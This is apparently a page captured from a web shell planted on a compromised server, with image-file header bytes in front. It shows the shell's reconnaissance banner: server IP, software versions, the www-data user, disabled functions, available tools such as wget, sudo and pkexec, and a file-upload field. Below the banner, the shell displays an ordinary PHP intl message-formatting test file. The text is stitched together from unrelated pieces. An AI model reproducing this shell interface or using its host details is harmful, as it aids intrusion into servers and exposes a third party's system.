????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 18.225.92.18 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/intl/tests/ |
Upload File : |
--TEST-- msgfmt_format() --SKIPIF-- <?php if( !extension_loaded( 'intl' ) ) print 'skip'; ?> --FILE-- <?php /* * Format a number using misc locales/patterns. */ function ut_main() { $locales = array( 'en_US' => "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree", 'ru_UA' => "{0,number,integer} мавп на {1,number,integer} деревах це {2,number} мавпи на кожному деревi", 'de' => "{0,number,integer} Affen über {1,number,integer} Bäume um {2,number} Affen pro Baum", 'en_UK' => "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree", 'root' => '{0,whatever} would not work!', 'fr' => "C'est la vie!", ); $str_res = ''; $m = 4560; $t = 123; foreach( $locales as $locale => $pattern ) { $str_res .= "\nLocale is: $locale\n"; $fmt = ut_msgfmt_create( $locale, $pattern ); if(!$fmt) { $str_res .= dump(intl_get_error_message())."\n"; continue; } $str_res .= dump( ut_msgfmt_format( $fmt, array($m, $t, $m/$t) ) ) . "\n"; $str_res .= dump( ut_msgfmt_format_message($locale, $pattern, array($m, $t, $m/$t))) . "\n"; } return $str_res; } include_once( 'ut_common.inc' ); // Run the test ut_run(); ?> --EXPECT-- Locale is: en_US '4,560 monkeys on 123 trees make 37.073 monkeys per tree' '4,560 monkeys on 123 trees make 37.073 monkeys per tree' Locale is: ru_UA '4 560 мавп на 123 деревах це 37,073 мавпи на кожному деревi' '4 560 мавп на 123 деревах це 37,073 мавпи на кожному деревi' Locale is: de '4.560 Affen über 123 Bäume um 37,073 Affen pro Baum' '4.560 Affen über 123 Bäume um 37,073 Affen pro Baum' Locale is: en_UK '4,560 monkeys on 123 trees make 37.073 monkeys per tree' '4,560 monkeys on 123 trees make 37.073 monkeys per tree' Locale is: root 'msgfmt_create: message formatter creation failed: U_ILLEGAL_ARGUMENT_ERROR' Locale is: fr 'C\'est la vie!' 'C\'est la vie!'